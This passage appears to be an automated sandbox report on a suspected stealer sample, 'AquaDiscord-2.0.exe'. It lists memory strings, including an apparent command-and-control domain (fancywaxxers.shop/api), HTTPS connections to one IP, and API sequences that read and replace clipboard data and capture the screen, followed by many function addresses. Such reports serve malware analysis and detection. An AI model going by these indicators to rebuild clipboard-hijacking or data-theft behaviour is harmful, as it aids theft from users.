Source: AquaDiscord-2.0.exe, 00000002.00000003.1721976712.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: AquaDiscord-2.0.exe, 00000002.00000003.1721976712.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: AquaDiscord-2.0.exe, 00000002.00000003.1721976712.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: AquaDiscord-2.0.exe, 00000002.00000003.1721976712.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: AquaDiscord-2.0.exe, 00000002.00000003.1721976712.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: AquaDiscord-2.0.exe, 00000002.00000003.1721976712.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: AquaDiscord-2.0.exe, 00000002.00000003.1721976712.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: AquaDiscord-2.0.exe, 00000002.00000003.1721976712.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: AquaDiscord-2.0.exe, 00000002.00000003.1721976712.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: AquaDiscord-2.0.exe, 00000002.00000003.1693667691.000000000543D000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1693765440.000000000543A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: AquaDiscord-2.0.exe, 00000002.00000003.1723179894.00000000053FF000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1723197231.0000000005404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: AquaDiscord-2.0.exe, 00000002.00000003.1723179894.00000000053FF000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1723197231.0000000005404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: AquaDiscord-2.0.exe, 00000002.00000003.1693667691.000000000543D000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1693765440.000000000543A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: AquaDiscord-2.0.exe, 00000002.00000003.1693667691.000000000543D000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1693765440.000000000543A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: AquaDiscord-2.0.exe, 00000002.00000003.1693667691.000000000543D000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1693765440.000000000543A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: AquaDiscord-2.0.exe, 00000002.00000003.1723179894.00000000053FF000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1723197231.0000000005404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: AquaDiscord-2.0.exe, 00000002.00000003.1723179894.00000000053FF000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1723197231.0000000005404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: AquaDiscord-2.0.exe, 00000002.00000003.1693667691.000000000543D000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1693765440.000000000543A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: AquaDiscord-2.0.exe, 00000002.00000003.1693667691.000000000543D000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1693765440.000000000543A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: AquaDiscord-2.0.exe, 00000002.00000003.1693667691.000000000543D000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1693765440.000000000543A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: AquaDiscord-2.0.exe, 00000002.00000003.1692630755.0000000002DED000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000002.2910034398.0000000002E5F000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1737979972.0000000002DED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/
Source: AquaDiscord-2.0.exe, 00000002.00000003.2402019988.0000000002E56000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1751206629.0000000002E63000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1750932268.0000000002E63000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1747045883.0000000002E63000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1747284346.0000000002E63000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.2401772119.0000000002E4F000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.2402077657.0000000002E5E000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000002.2910034398.0000000002E5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/$
Source: AquaDiscord-2.0.exe, 00000002.00000003.1737668890.0000000002E63000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1737933383.0000000002E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/L
Source: AquaDiscord-2.0.exe, 00000002.00000003.1692630755.0000000002DED000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000002.2910034398.0000000002E5F000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1737979972.0000000002DED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api
Source: AquaDiscord-2.0.exe, 00000002.00000002.2910002831.0000000002E54000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.2401772119.0000000002E4F000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.2402042694.0000000002E52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/apif
Source: AquaDiscord-2.0.exe, 00000002.00000003.1747045883.0000000002E63000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1747284346.0000000002E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/apik
Source: AquaDiscord-2.0.exe, 00000002.00000003.1692630755.0000000002DED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api~J
Source: AquaDiscord-2.0.exe, 00000002.00000003.1737584566.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000002.2909842558.0000000002DD6000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1747187894.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1791621621.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.2401885385.0000000002DD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop:443/api
Source: AquaDiscord-2.0.exe, 00000002.00000002.2909842558.0000000002DD6000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.2401885385.0000000002DD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop:443/api7
Source: AquaDiscord-2.0.exe, 00000002.00000003.1692630755.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop:443/api?
Source: AquaDiscord-2.0.exe, 00000002.00000003.1737584566.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000002.2909842558.0000000002DD6000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1747187894.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1791621621.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1692630755.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.2401885385.0000000002DD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop:443/apiR
Source: AquaDiscord-2.0.exe, 00000002.00000002.2909842558.0000000002DD6000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1747187894.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1791621621.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.2401885385.0000000002DD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop:443/apitxtPK
Source: AquaDiscord-2.0.exe, 00000002.00000002.2909842558.0000000002DD6000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1791621621.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.2401885385.0000000002DD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop:443/apiu
Source: AquaDiscord-2.0.exe, 00000002.00000003.1723197231.0000000005404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: AquaDiscord-2.0.exe, 00000002.00000003.1694093363.0000000005450000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: AquaDiscord-2.0.exe, 00000002.00000003.1722843066.000000000551A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: AquaDiscord-2.0.exe, 00000002.00000003.1722843066.000000000551A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: AquaDiscord-2.0.exe, 00000002.00000003.1709004731.0000000005449000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1694093363.0000000005450000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1709186168.0000000005449000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1694160465.0000000005449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: AquaDiscord-2.0.exe, 00000002.00000003.1694160465.0000000005424000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: AquaDiscord-2.0.exe, 00000002.00000003.1709004731.0000000005449000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1694093363.0000000005450000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1709186168.0000000005449000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1694160465.0000000005449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: AquaDiscord-2.0.exe, 00000002.00000003.1694160465.0000000005424000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: AquaDiscord-2.0.exe, 00000002.00000003.1723179894.00000000053FF000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1723197231.0000000005404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: AquaDiscord-2.0.exe, 00000002.00000003.1693667691.000000000543D000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1693765440.000000000543A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: AquaDiscord-2.0.exe, 00000002.00000003.1723179894.00000000053FF000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1723197231.0000000005404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: AquaDiscord-2.0.exe, 00000002.00000003.1693667691.000000000543D000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1693765440.000000000543A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: AquaDiscord-2.0.exe, 00000002.00000003.1722843066.000000000551A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: AquaDiscord-2.0.exe, 00000002.00000003.1722843066.000000000551A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: AquaDiscord-2.0.exe, 00000002.00000003.1722843066.000000000551A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: AquaDiscord-2.0.exe, 00000002.00000003.1722843066.000000000551A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: AquaDiscord-2.0.exe, 00000002.00000003.1722843066.000000000551A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

Code function: 2_2_00434280 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

2_2_00434280

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

Code function: 2_2_05141000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber,

2_2_05141000

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

Code function: 2_2_00434280 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

2_2_00434280

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

Code function: 2_2_00434460 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

2_2_00434460

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 0_2_00B0EA4E	0_2_00B0EA4E
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 0_2_00B104C2	0_2_00B104C2
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 0_2_00B03400	0_2_00B03400
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 0_2_00AFDDA2	0_2_00AFDDA2
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 0_2_00AF969B	0_2_00AF969B
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0043D050	2_2_0043D050
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0042207D	2_2_0042207D
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00439800	2_2_00439800
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00441900	2_2_00441900
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00411920	2_2_00411920
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0042DA21	2_2_0042DA21
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00414A9A	2_2_00414A9A
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00439B30	2_2_00439B30
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00426B80	2_2_00426B80
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00420DD0	2_2_00420DD0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0040CEC7	2_2_0040CEC7
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00422F70	2_2_00422F70
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0043F73E	2_2_0043F73E
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00440FD0	2_2_00440FD0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0040FFD6	2_2_0040FFD6
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_004087B0	2_2_004087B0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00427050	2_2_00427050
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00440065	2_2_00440065
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00434060	2_2_00434060
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00427879	2_2_00427879
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00418816	2_2_00418816
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0041D020	2_2_0041D020
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00422830	2_2_00422830
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0040C8E5	2_2_0040C8E5
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00440880	2_2_00440880
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0040A8B0	2_2_0040A8B0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00405910	2_2_00405910
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00416914	2_2_00416914
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00403920	2_2_00403920
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0041D920	2_2_0041D920
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00440920	2_2_00440920
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0040B132	2_2_0040B132
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00420130	2_2_00420130
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_004191C0	2_2_004191C0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_004359C5	2_2_004359C5
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_004371FD	2_2_004371FD
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00421980	2_2_00421980
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0043D9A0	2_2_0043D9A0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_004381AC	2_2_004381AC
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_004409B0	2_2_004409B0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00438A55	2_2_00438A55
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00427A6E	2_2_00427A6E
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0040F27E	2_2_0040F27E
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00406200	2_2_00406200
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00415A05	2_2_00415A05
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00418A30	2_2_00418A30
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00439230	2_2_00439230
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00415A05	2_2_00415A05
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_004042D0	2_2_004042D0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_004162D2	2_2_004162D2
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00423AE0	2_2_00423AE0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00429AFE	2_2_00429AFE
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0041AA81	2_2_0041AA81
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_004262A0	2_2_004262A0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00437AA0	2_2_00437AA0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_004092B0	2_2_004092B0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_004412B0	2_2_004412B0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0041EB50	2_2_0041EB50
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00402B70	2_2_00402B70
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0040A312	2_2_0040A312
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_004183FA	2_2_004183FA
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0041A3B0	2_2_0041A3B0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00430C5A	2_2_00430C5A
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00407470	2_2_00407470
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00423C70	2_2_00423C70
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0043AC70	2_2_0043AC70
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00410C79	2_2_00410C79
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00404C10	2_2_00404C10
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0041D430	2_2_0041D430
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_004114CB	2_2_004114CB
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_004354B7	2_2_004354B7
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0041CD40	2_2_0041CD40
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0043ED4D	2_2_0043ED4D
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00413D50	2_2_00413D50
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_004415C0	2_2_004415C0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0041BDD0	2_2_0041BDD0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00429DF0	2_2_00429DF0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0043059D	2_2_0043059D
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0043AE47	2_2_0043AE47
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00423E62	2_2_00423E62
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0043A660	2_2_0043A660
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00416E62	2_2_00416E62
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00418E1C	2_2_00418E1C
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0042D6D6	2_2_0042D6D6
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00440680	2_2_00440680
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00406690	2_2_00406690
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0041A690	2_2_0041A690
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_004096B0	2_2_004096B0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00440770	2_2_00440770
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0043E776	2_2_0043E776
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00402F10	2_2_00402F10
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00439710	2_2_00439710
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_004237C0	2_2_004237C0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00438FD0	2_2_00438FD0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_00440788	2_2_00440788
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 2_2_0044078A	2_2_0044078A
